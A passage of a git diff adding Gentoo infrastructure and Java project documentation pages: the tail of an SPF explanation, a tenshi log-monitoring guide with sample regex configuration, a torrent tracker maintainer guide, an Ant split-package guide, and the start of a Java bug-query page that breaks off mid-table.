+</abstract>
+<version>1.3</version>
+<date>2010-08-23</date>
+
+<chapter>
+<title>SPF for Gentoo.org</title>
+<section>
+<title>Background</title>
+<body>
+<p>
+Sender Policy Framework (SPF) is a way to fight return-path address forgery
+and makes it easier to identify spoofed addresses.  It is NOT a spam fighting
+tool in and of itself.  The technology is merely a way to stop one loophole
+spammers use: source address spoofing. 
+</p>
+<p>
+SPF uses DNS to give mail administrators a way to tell other mail
+administrators what MTAs are allowed to send mail for their particular domain.
+Essentially, SPF allows us to say, "hey, here's the mail servers that send
+mail for gentoo.org"
+</p>
+<p>
+Other mail administrators can then use that information to make their own
+decisions about what to do with mail that does or does not come from one of
+those servers.  
+</p>
+</body>
+</section>
+<section>
+<title>Gentoo.org</title>
+<body>
+<p>
+For Gentoo, our SPF record is currently:
+</p>
+<pre caption="gentoo.org SPF record">
+v=spf1 mx ptr ?all
+</pre>
+
+<p>
+Which breaks down as:
+</p>
+<dl>
+<dt>spf1</dt>	<dd>use the first version of SPF</dd>
+<dt>mx</dt> <dd>anything that is listed as an MX record for gentoo.org is OK ptr: any host that ends in gentoo.org is OK.  (requires a PTR record to be in place)</dd>
+<dt>?all</dt> <dd>if you receive an email from an MTA not on this list, please treat it neutrally.  (i.e. do not make decisions based solely on this fact)</dd>
+</dl>
+<p>
+The <c>?all</c> is intended to be a transitional phase, with the ultimate goal being
+to move to <c>~all</c> or even <c>-all</c>, which are more definitive.
+</p>
+<p>
+Some people have objected to the fact that SpamAssassin adds ~1 to the overall
+spam score for <c>?all</c> records.  SPF is a tool and, like any other tool,
+people can do smart things with it and they can do stupid things with it. This
+is not saying the SA developers are stupid -- merely that they've chosen to use
+the tool a certain way that conflicts with what the SPF standard calls for.  As
+you can tell from the SA test name (SPF_NEUTRAL), SPF calls for records using
+<c>?all</c> to treat MTAs sending mail on behalf of that domain neutrally.  SPF
+should not be faulted if SA chooses to go another route.
+</p>
+<p>
+SA provides users with ways of overriding or ignoring this score on a per-user
+basis if they wish.
+</p>
+<p>
+Finally, it is possible to send a mail From: a gentoo.org email address using
+a non gentoo.org SMTP server and not run afoul of SA's SPF_NEUTRAL scoring.
+You can see an example here:
+</p>
+<pre caption="Sending an email From: a gentoo.org address using a gmail account">
+Return-Path: john.doe@gmail.com
+Delivered-To: john@doe.com
+Received: from localhost (localhost [127.0.0.1])
+        by mail.domain.com (Postfix) with ESMTP id 7BE6EE84021
+        for &lt;john@doe.com&gt;; Wed,  8 Nov 2006 14:48:57 +0000 (UTC)
+X-Spam-Score: -2.546
+X-Spam-Level:
+X-Spam-Status: No, score=-2.546 required=5.5 tests=[AWL=0.054,
+        BAYES_00=-2.599, SPF_PASS=-0.001]
+Received: from mail.domain.com ([127.0.0.1])
+        by localhost (mail.domain.com [127.0.0.1]) (amavisd-new, port 10024)
+        with ESMTP id x00PknmR5qfc for &lt;john@doe.com&gt;;
+        Wed,  8 Nov 2006 14:48:11 +0000 (UTC)
+Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.189])
+        by mail.domain.com (Postfix) with ESMTP id 867C6E84022
+        for &lt;john@doe.com&gt;; Wed,  8 Nov 2006 14:48:06 +0000 (UTC)
+Received: by nf-out-0910.google.com with SMTP id l23so207071nfc
+        for &lt;john@doe.com&gt;; Wed, 08 Nov 2006 06:48:05 -0800 (PST)
+Received: by 10.48.254.10 with SMTP id b10mr2288936nfi.1162997285044;
+        Wed, 08 Nov 2006 06:48:05 -0800 (PST)
+Received: by 10.49.39.10 with HTTP; Wed, 8 Nov 2006 06:48:04 -0800 (PST)
+Message-ID: &lt;c6bb36ba0611080648pece99bds31207e7d137618a8@mail.gmail.com&gt;
+Date: Wed, 8 Nov 2006 08:48:04 -0600
+From: johndoe@gentoo.org
+Sender: john.doe@gmail.com
+To: john@doe.com
+Subject: check spam scores
+</pre>
+<p>
+which shows a mythical developer sending an email <c>From: johndoe@gentoo.org</c>
+using his gmail account.  Note that the SA score is actually reduced due to SPF
+in this particular case.
+</p>
+<p>
+Additionally, as has been the case for months, we allow developers to relay
+(via aSMTP) their outbound gentoo.org mail through dev.gentoo.org if they so
+choose, which also works around the specific issue with SA.
+</p>
+<p>
+Again, SPF is a tool.  Nothing more, nothing less.  All we do is provide
+information to other mail administrators.  How they decide to use it is up to
+them.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/tenshi/index.xml b/xml/htdocs/proj/en/infrastructure/tenshi/index.xml
new file mode 100644
index 00000000..0889d1e5
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/tenshi/index.xml
@@ -0,0 +1,201 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/infrastructure/tenshi/index.xml,v 1.6 2005/07/25 14:55:17 lcars Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/infrastructure/tenshi/index.xml">
+
+<title>Gentoo Linux Documentation -- Tenshi</title>
+
+<author title="Author">
+  <mail link="lcars@gentoo.org">Andrea Barisani</mail>
+</author>
+
+<abstract>
+This page introduces tenshi, a log monitoring and reporting tool.
+</abstract>
+
+<version>0.3.4</version>
+<date>2005-07-25</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+Tenshi is a log monitoring program, designed to watch one or more log files for
+lines matching user defined regular expressions and report on the matches. The
+regular expressions are assigned to queues which have an alert interval and a
+list of mail recipients.
+</p>
+
+<p>
+Queues can be set to send a notification as soon as there is a log line assigned
+to it, or to send periodic reports.
+</p>
+
+<p>
+Additionally, uninteresting fields in the log lines (such as PID numbers) can be
+masked with the standard regular expression  grouping  operators ( ). This
+allows cleaner and more readable reports. All reports are separated by hostname
+and all messages are condensed when possible.
+</p>
+
+<p>
+The program reads a configuration file and then forks a deamon for monitoring
+the specified log files.
+</p>
+
+<p>
+Please read the example <uri
+link="http://www.gentoo.org/~lcars/tenshi/tenshi.conf">tenshi.conf</uri> and
+tenshi.8 man page for usage instructions.<br/><br/>
+</p>
+
+<impo>
+This package was formerly known as <c>Wasabi</c>, the name was changed due to
+trademark infringement issues.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Examples</title>
+<section>
+<body>
+
+<p>
+Consider the following settings in tenshi.conf:
+</p>
+
+<pre caption="tenshi.conf queues settings">
+
+...
+
+set hidepid on
+
+set queue mail     tenshi@localhost sysadmin@localhost [0 */12 * * *]
+set queue misc     tenshi@localhost sysadmin@localhost [0 */24 * * *]
+set queue critical tenshi@localhost sysadmin@localhost [now]
+
+group ^ipop3d:
+
+mail ^ipop3d: Login user=(.+)
+mail ^ipop3d: Logout user=(.+)
+mail ^ipop3d: pop3s SSL service init from (.+)
+mail ^ipop3d: pop3 service init from (.+)
+mail ^ipop3d: Command stream end of file, while reading.+
+mail ^ipop3d: Command stream end of file while reading.+
+
+critical ^ipop3d: Login failed.+
+
+trash ^ipop3d:.+
+
+group_end
+
+critical ^sudo: (.+) : TTY=(.+) ; PWD=(.+) ; USER=root ; COMMAND=(.+)
+
+misc .*
+</pre>
+
+<p>
+Every ipop3d message not matched by the regexps assigned to the queue
+<e>mail</e> or critical will be matched by the queue <e>trash</e> (a builtin
+null queue), any other message will be matched by queue <e>misc</e>. Fields
+enclosed in <c>(.+)</c> are masked.
+</p>
+
+<p>
+This is a sample report for the <e>mail</e> queue (sent every 12 hours):
+</p>
+
+<pre caption="Sample Report - queue [mail]">
+
+host1:
+    79: ipop3d: Login user=___
+    74: ipop3d: Logout user=___
+
+host2:
+    30: ipop3d: Login user=___
+    30: ipop3d: Logout user=___
+    19: ipop3d: pop3 service init from ___
+    12: ipop3d: pop3s SSL service init from ___
+    1: ipop3d: Command stream end of file while reading line user=??? host=bogus.domain.net [192.168.0.1]
+    1: ipop3d: Command stream end of file, while reading authentication host=bogus1.domain.net [10.1.7.1]
+</pre>
+
+<p>
+These are sample reports for the <e>critical</e> queue (sent every time a
+message matches the regexp):
+</p>
+
+<pre caption="Sample Report - queue [critical]">
+host1:
+    1: /usr/bin/sudo: ___ : TTY=___ ; PWD=___ ; USER=root ; COMMAND=/bin/dmesg
+</pre>
+
+<pre caption="Sample Report - queue [critical]">
+host1:
+    1: /usr/bin/sudo: ___ : TTY=___ ; PWD=___ ; USER=root ; COMMAND=/bin/bash
+</pre>
+
+<pre caption="Sample Report - queue [critical]">
+host2:
+    1: ipop3d: Login failed user=admin auth=admin host=bogus1.domain.net [10.1.7.1]
+</pre>
+
+<pre caption="Sample Report - queue [critical]">
+host2:
+    1: ipop3d: Autologout user=??? host=bogus.domain.net [192.168.0.1]
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Requirements</title>
+<section>
+<body>
+
+<p>
+Tenshi needs a working 'tail' implementation, it also requires Net::SMTP module
+for mailing reports which should be included in your perl installation.
+</p>
+
+<p>
+Gentoo Linux users can simply install <e>app-admin/tenshi</e> ebuild.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Resources</title>
+<section>
+<body>
+
+<p>
+The most recent release of <c>tenshi</c> can be found at <uri
+link="http://www.gentoo.org/~lcars/tenshi/tenshi-latest.tar.gz">tenshi-latest.tar.gz</uri>.
+</p>
+
+<p>
+All releases are available at <uri>http://www.gentoo.org/~lcars/tenshi</uri>.
+</p>
+
+<p>
+Please send requests/suggestions/bug reports to <mail>tenshi@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/torrent.xml b/xml/htdocs/proj/en/infrastructure/torrent.xml
new file mode 100644
index 00000000..b6d1638c
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/torrent.xml
@@ -0,0 +1,191 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="torrent.xml">
+<title>Maintainers Guide - torrents.gentoo.org</title>
+<author title="Author">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+<abstract>
+Maintainers Guide for torrents.gentoo.org 
+</abstract>
+
+<version>0.1</version>
+<date>March- 6-2006</date>
+
+<chapter>
+<title>Torrent Tracker</title>
+<section>
+<body>
+
+<warn>
+This document is mostly outdated, and remains only for reference. The torrents are created differently now.
+</warn>
+<p>
+
+Gentoo offers iso's of our release media and other files via BitTorrent. We host
+our own torrent tracker at http://torrents.gentoo.org/. The website uses
+<uri link="http://phpbttrkplus.sourceforge.net/">PHPBTTracker+</uri> to track
+the torrents.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Initial Setup</title>
+<body>
+
+<p>
+Requirements:
+</p>
+
+<ul>
+  <li>Apache2</li>
+  <li>mySQL</li>
+  <li>php (requires USE="session")</li>
+</ul>
+
+<p>
+The tracker resides on sparrow.gentoo.org and is administered by the Infrastructure
+Project. The administrator assigned to the box will assist you by keeping the 
+software up to date and advising you of any changes. Close coordination with the
+assigned administrator is very important.
+</p>
+
+<p>
+The tracker runs inside a webserver owned by a special user $TORRENT (the server
+administrator has the details of the actual account). su to this user when adding
+or changing any files to the web server. Apache user has group write access to
+torrents/ in order to upload the .torrent files for storage. All other files and
+directories are owned by the $TORRENT user.
+</p>
+
+<p>
+Untar the tracker software in htdocs and edit <path>config_example.php</path> and
+move it to <path>config.php</path>. The php scripts expect config.php to be in the
+parent directory. Edit the necessary php files to reflect this. Move
+<path>index_samples/index_sample.php</path> to <path>../index.php</path>. Edit
+this file and insert the Gentoo header and make any other formatting changes necessary. 
+</p>
+
+<p>
+Move <path>index_samples/tracker.css</path> to <path>../tracker.css</path> and
+insert the Gentoo header information and any other formatting changes. Use
+<uri link="http://www.gentoo.org/css/main.css">main.css</uri> as a reference.
+</p>
+
+<p>
+The php scripts are heavily commented. Read the INSTALL and README docs for
+information for other configuration information.
+</p>
+
+</body>
+</section>
+<section>
+<title>Administration</title>
+<body>
+
+<p>
+Logon to the <uri link="http://torrents.gentoo.org/administration/">administrative
+panel</uri> for reports, adding and deleting torrents and grouping functions.
+Create all of the categories first and then add the torrents. Make sure to fill
+in the category information on the add torrent panel. 
+</p>
+
+</body>
+</section>
+<section>
+<title>New Releases and Upgrades</title>
+<body>
+
+<p>
+Because the release media is retired at each release the torrent database will
+simply be cleared and the tracker software reinstalled. The install process is
+much easier and less time consuming than retiring each individual torrent. Use
+mysql to drop all the tables in the database and the install process will
+automatically recreate it.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Torrent Client</title>
+<section>
+<body>
+
+<p>
+The torrent client is <uri link="http://www.bittornado.com/">BitTornado</uri>.
+Use the various scripts it comes with to create the torrents and seed them.
+</p>
+
+<p>
+The actual release media is stored in <path>/mnt/torrents/</path>. The mirror
+admin will copy the <path>release/</path> directory directly to this partition.
+Create a directory for the release, example <path>/mnt/torrents/2006.0</path>.
+</p>
+
+<p>
+Move the files for the individual torrents into a seperate directory in
+<path>/mnt/torrents/2006.0/*</path>. For instance: 
+<path>/mnt/torrents/2006.0/x86-installcd-2006.0/</path>. Each .iso should be a
+seperate torrent file. Include the .contents, .digests and .asc files for the .iso. 
+in the directory with the .iso.
+</p>
+
+<p>
+Once you have all of the files sorted use <c>btcompletedir.py</c> to mass create
+the .torrent files:
+</p>
+
+<p>
+$ btcompletedir.py http://torrents.gentoo.org/tracker.php/announce /mnt/torrents/2006.0/
+</p> 
+
+<p>
+The torrent client is hosted on the same machine. Once you have created the torrents
+use links to <uri link="http://torrents.gentoo.org/administration/">logon</uri>
+to the tracker and add the torrents. 
+</p>
+
+<p>
+Now start a screen session named <c>bittorando</c> and then su to the $TORRENT user.
+Change to /mnt/torrents/2006.0 and start the torrent client.
+</p>
+
+<p>
+/usr/bin/btlaunchmany.py --display_interval 100 --minport 6881 --maxport 6999 --ip 38.99.80.68 ./
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Resources</title>
+<section>
+<body>
+
+<ul>
+  <li><uri link="http://torrents.gentoo.org/">Gentoo Torrent Tracker</uri></li>
+  <li><uri link="http://torrents.gentoo.org/administration/">Gentoo Torrent
+  Tracker Administration</uri></li>
+  <li><uri link="http://phpbttrkplus.sourceforge.net/">PHPBTTracker+</uri></li>
+  <li><uri link="http://www.bittornado.com/">BitTornado</uri></li>
+</ul>
+
+<p>
+For details of the #TORRENT account and the database account please contact the
+server admin.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/java/ant-guide.xml b/xml/htdocs/proj/en/java/ant-guide.xml
new file mode 100644
index 00000000..aeef083a
--- /dev/null
+++ b/xml/htdocs/proj/en/java/ant-guide.xml
@@ -0,0 +1,306 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/doc/en/ant-guide.xml" lang="en">
+  <title>Ant Guide</title>
+
+  <author title="Author">
+    <mail link="caster@gentoo.org">Vlastimil Babka</mail>
+  </author>
+  <author title="Editor">
+    <mail link="wltjr@gentoo.org">William L. Thomson Jr.</mail>
+  </author>
+  <abstract>
+    This document provides information on using Apache Ant on Gentoo 
+  </abstract>
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.5</version>
+  <date>2008-01-18</date>
+
+  <chapter>
+    <title>Split-Ant</title>
+    <section>
+      <body>
+        <p>
+          Since version 1.7.0, the way of packaging and using optional tasks 
+          in Apache Ant has changed substantionally. Previously, Ant was split 
+          into ant-core (the core .jar files) and ant-tasks (.jar files for 
+          all the optional tasks, most of which have quite a number of external 
+          package dependencies). Ant-tasks symlinked its jars into the 
+          ant-core/lib to be loaded. Dependencies of these optional tasks were 
+          hardcoded into the ant startup script and tried to be loaded even if 
+          they (or ant-tasks) were not installed. This way they would pollute 
+          the classpath for building and cause packages that also depend on 
+          some of these to build even without the dependencies recorded in 
+          ebuild and package.env.
+        </p>
+        <p>
+          With the new split-ant setup, each .jar file that made up ant-tasks 
+          package is installed as separate package (named ant-* as the jar 
+          file itself), specifying just the dep(s) it itself needs. The jars 
+          are not symlinked to ant-core/lib but instead, the presence of the 
+          package is recorded by touching a file named 
+          <path>/usr/share/ant/tasks-${PV}/${PN}</path>. Ant startup script is 
+          modified so that by default it looks into this directory and loads 
+          the tasks and their deps for backwards compatibility. But the real 
+          power lies in the ANT_TASKS variable (used in ebuild or by ant user) 
+          which can override this default behaviour and specify only the tasks 
+          you want it to load. To sum up, the advantages of new layout are:
+        </p>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+                Reduced dependencies of packages that need more than ant-core 
+                (instead of depending in whole ant-tasks with its almost 20 
+                direct dependencies, you specify only those you want)
+              </li>
+              <li>
+                Less classpath pollution, no hardcoded dependencies inside ant 
+                startup script (see above)
+              </li>
+              <li>
+                Easy to find if you need more than ant-core to build a package 
+                (with old setup you would have to unmerge ant-tasks to test if 
+                package fails without them)
+              </li>
+              <li>
+                Allows us to have junit3 and junit4 in separate slots and 
+                choose which one to load in ant
+              </li>
+              <li>
+                Better controlled build of the jars, instead of a 
+                manifest-only jar it will fail if there's something wrong with 
+                the dependency package
+              </li>
+              <li>
+                Full backward compatibility with existing ebuilds
+              </li>
+            </ul>
+          </dd>
+        </dl>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>End User Documentation</title>
+    <section>
+      <title>Migrating to Ant 1.7.0</title>
+      <body>
+        <p>
+          To make the transition possible, dev-java/ant-core-1.7.0 needs to 
+          block on older versions of dev-java/ant-tasks and dev-java/ant. So 
+          when you encounter this block, just unmerge ant-tasks and ant, and 
+          reissue the emerge command that caused it. If you don't use Ant 
+          yourself, that's all you need to know.
+        </p>
+      </body>
+    </section>
+
+    <section>
+      <title>Working with new setup</title>
+      <body>
+        <p>
+          If you use ant for your own Java development, you should be aware of 
+          few things. If you use only the tasks provided by Ant, there will not
+          be any difference if you install the whole dev-java/ant meta-package. 
+          But the external libraries that used to symlink their .jar files into 
+          <path>/usr/share/ant-core/lib</path> to be loaded, will soon stop 
+          creating these symlinks. In order to load these libraries, you will 
+          now need to use the new ANT_TASKS environment variable, which takes 
+          space-separated list of packages to load.
+        </p>
+        <p>
+          Example of ant invocation with pmd and checkstyle libraries: 
+          <c>ANT_TASKS="pmd checkstyle" ant</c>
+        </p>
+        <p>
+          You can also use this variable to load libraries that didn't 
+          previously symlink into ant-core/lib, without the need to pass the 
+          full path with the -lib <path>/path/to/jar</path> parameter.
+        </p>
+      </body>
+    </section>
+  </chapter>
+
+
+  <chapter>
+    <title>Ebuild Developer Guide</title>
+    <section>
+      <body>
+        <p>
+          A developer writing ebuilds has to generally take care about two 
+          things - dependencies and ANT_TASKS variable. For dependencies, if 
+          you previously needed only dev-java/ant-core (which is added by 
+          java-ant-2 eclass automatically), nothing changes. But if your ebuild 
+          needed full dev-java/ant or dev-java/ant-tasks to compile, you should 
+          figure out which exact optional tasks are needed (more on that later) 
+          and specify them in DEPEND. Then, you need to list the tasks in 
+          ANT_TASKS variable before calling eant (can be different for each 
+          eant call). In the most simple case, the tasks you need don't depend 
+          on useflags, you don't care about specific versions and all eant() 
+          calls in your ebuild need the same set of tasks. Then you just list 
+          the tasks you need in WANT_ANT_TASKS variable *before* inheriting 
+          java-ant-2.eclass, and it will fill the DEPEND and ANT_TASKS for 
+          you. In the more complex cases, you have to specify all the depends 
+          yourself (maybe based on USE flags) and ANT_TASKS for each eant call 
+          (also maybe based on USE flags). Typically you do this with test 
+          flag and ant-junit.
+        </p>
+      </body>
+    </section>
+
+    <section>
+      <title>Env variables to use and know how they work</title>
+      <body>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+                ANT_TASKS - $IFS-separated list of optional tasks (ant-foo) or 
+                even external libraries ant can use (xjavac...) to load. Used 
+                by eant. You can't set this in ebuild global scope, use only 
+                inside <c>src_compile()</c> or <c>src_test()</c>
+              </li>
+              <li>
+                WANT_ANT_TASKS - like ANT_TASKS, but you specify this before 
+                inheriting java-ant-2 and it can contain only ant-* tasks. Will 
+                be translated into dev-java/ant-* in DEPEND and used as default 
+                ANT_TASKS if you don't set (override) it yourself.
+              </li>
+              <li>
+                EANT_ANT_TASKS - if you use the default <c>src_compile()</c> of 
+                java-pkg-2, and can't use WANT_ANT_TASKS for some reason, 
+                set this in the global scope to pass ANT_TASKS value to it.
+              </li>
+              <li>
+                JAVA_PKG_FORCE_ANT_TASKS - like ANT_TASKS, but you don't use 
+                this in ebuild, but in the env, overrides any ANT_TASKS and 
+                WANT_ANT_TASKS set in the ebuild (in eant, does not bring the 
+                deps, because of portage dep caching). Can be used to easily 
+                hash out which tasks you need when writing the ebuild, without 
+                need to alter it each time.
+              </li>
+            </ul>
+          </dd>
+        </dl>
+        <p>
+          Here are the order of how eant() processes these variables to 
+          export the final ANT_TASKS for calling the ant script, from highest 
+          lowest priority of overriding.
+        </p>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+                JAVA_PKG_FORCE_ANT_TASKS (set in the environment)
+              </li>
+              <li>
+                ANT_TASKS (set in the src_* function calling <c>eant()</c>)
+              </li>
+              <li>
+                EANT_ANT_TASKS (for java-pkg-2 default <c>src_compile()</c>)
+              </li>
+              <li>
+                WANT_ANT_TASKS (set in the ebuild global scope before inherit)
+              </li>
+              <li>
+                "none" (the default)
+              </li>
+            </ul>
+          </dd>
+        </dl>
+      </body>
+    </section>
+
+    <section>
+      <title>Typical workflow</title>
+      <body>
+        <p>
+          Usually you start with dev-java/ant-core as dependency 
+          ( added automatically with java-ant-2 eclass ) and see 
+          if you can compile the package. If it fails, see what class was 
+          missing and see the next section to determine what ant-* package you 
+          need to use. The failure looks like this:
+        </p>
+<pre caption="Sample missing task error">
+[junitreport] java.lang.ClassNotFoundException?: org.apache.tools.ant.taskdefs.optional.TraXLiaison
+</pre>
+        <p>
+          Here you can see that the failing task was junitreport, and the 
+          class it was missing.
+        </p>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Implementation details (dev-java/ant* maintainer notes)</title>
+    <section>
+      <title>Build system (build.xml) changes</title>
+      <body>
+        <p>
+          All ant-* ebuild share the same source tarball. Upstream's build.xml 
+          is already building different .jar files based on the classes 
+          dependencies, and there are selectors for the right source files. But 
+          it's using &lt;available&gt; statements to determine if dependency 
+          is present on classpath, and if not, it builds a manifest-only jar 
+          (or no jar at all, there's now a property for that in 1.7). We modify 
+          the build.xml to have separate target for core jars and target for 
+          the optional jars, where a property tells it which jar we want 
+          (easier to add 20 target differing just in name). We also make sure 
+          that only the source we want in the jar is compiled, and used for 
+          resolving internal class dependencies. Rest of these dependencies 
+          (for the optional jars) is resolved from symlinked ant.jar from the 
+          ant-core already installed on system, and in some cases also from 
+          ant-nodeps.jar (ant-nodeps package). This makes sure that all 
+          internal dependencies are represented with DEPEND variable in the 
+          ebuild and package.env.
+        </p>
+      </body>
+    </section>
+
+    <section>
+      <title>Launcher script changes</title>
+      <body>
+        <p>
+          Ant's launcher script now recognizes ANT_TASKS environment variable. 
+          The value is IFS-separated list of packages (in our usual 
+          package-slot format as recognized by java-config -p) that are 
+          translated to list of jar files (using java-config) and passed to 
+          ant with -lib parameter. There are also special values "none" and 
+          "all" (the default if not defined at all or empty). If "none" is 
+          specified, the only jars loaded by ant are those in 
+          <path>/usr/share/ant-core/lib</path>. This means no optional tasks, 
+          since they no longer symlink to here. Value of "all" will make the 
+          script load all tasks registered in 
+          <path>/usr/share/ant/tasks(-version)</path>. The value of list can 
+          specify any ant-* tasks that are part of the ant distro itself, but 
+          also any external packages providing ant tasks (xjavac, 
+          ant-owanttasks) or in fact any package that provides something ant 
+          tasks can use (rhino for script tasks...).
+        </p>
+      </body>
+    </section>
+
+    <section>
+      <title>Eclasses</title>
+      <body>
+        <p>
+          We added one new eclass - ant-tasks.eclass used by the ant-* 
+          packages. Makes use of the shared build system, so ebuilds themselves 
+          only have to define few specific things. Is pretty well commented, 
+          so no details needed here. Few other java eclasses were modified to 
+          make use of the new features in other ebuilds. This is mostly about 
+          handling the ANT_TASKS variable and its friends WANT_ANT_TASKS and 
+          JAVA_PKG_FORCE_ANT_TASKS - see the developer docs. All changes and 
+          additions here are also commented.
+        </p>
+      </body>
+    </section>
+  </chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/java/bugs.xml b/xml/htdocs/proj/en/java/bugs.xml
new file mode 100644
index 00000000..5f2977f3
--- /dev/null
+++ b/xml/htdocs/proj/en/java/bugs.xml
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/doc/en/guide.xml" lang="en">
+<title>Gentoo Java Bugs</title>
+<author title="Author">
+  <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+</author>
+
+<abstract>This guide discusses bugs which belong to the Java project</abstract>
+<version>1.0</version>
+<date>2005-12-17</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+<p>The purpose of this guide is to provide background information for some of the outstanding Java bugs on Gentoo. There currently are around 180 open bugs, which might be a little overwhelming for your weekend bug squasher. So, we hope to divide the bugs into categories, and provide some background information.</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Metabugs</title>
+<section>
+<body>
+  <p>Coming soon...</p>
+</body>
+</section>
+</chapter>
+
+
+<chapter>
+  <title>Useful Queries</title>
+  <section>
+  <body>
+
+  <table>
+    <tr>
+      <th>All Java bugs:</th>
+	  <ti></ti>
+	  <ti><uri link="http://tinyurl.com/n9qb">list</uri></ti>
+	</tr>
+	<tr>
+      <th>Java bugs, by priority</th>
+	  <ti></ti>
+	  <ti>
+            <uri link="http://tinyurl.com/au29a">P1</uri>,
+            <uri link="http://tinyurl.com/b8xbv">P2</uri>,
+            <uri link="http://tinyurl.com/8jfns">P3</uri>,
+            <uri link="http://tinyurl.com/98bt4">P4</uri>,
+            <uri link="http://tinyurl.com/bfa2n">P5</uri>
+          </ti>
+	</tr>
+	<tr>
+      <th>Bundled jars:</th>
+	  <ti><uri link="http://bugs.gentoo.org/show_bug.cgi?id=69972">metabug</uri></ti>
+	  <ti><uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;field0-0-0=blocked&amp;type0-0-0=anywordssubstr&amp;value0-0-0=69972&amp;field0-0-1=bug_id&amp;type0-0-1=equals&amp;value0-0-1=69972">list</uri> </ti>
+	</tr>
+	<tr>
+      <th>Maven:</th>
+	  <ti><uri link="http://bugs.gentoo.org/show_bug.cgi?id=63285">metabug</uri></ti>
+	  <ti><uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;field0-0-0=blocked&amp;type0-0-0=anywordssubstr&amp;value0-0-0=63285&amp;field0-0-1=bug_id&amp;type0-0-1=equals&amp;value0-0-1=63285">list</uri></ti>
+  </tr>
+  <tr>
+    <th>JBoss:</th>
+	<ti><uri link="http://bugs.gentoo.org/show_bug.cgi?id=64795">metabug</uri></ti>
+	<ti><uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;field0-0-0=blocked&amp;type0-0-0=anywordssubstr&amp;value0-0-0=64795&amp;field0-0-1=bug_id&amp;type0-0-1=equals&amp;value0-0-1=64795">list</uri></ti>
+  </tr>
+  <tr>
+    <th>Ebuild submissions:</th>
+	<ti></ti>
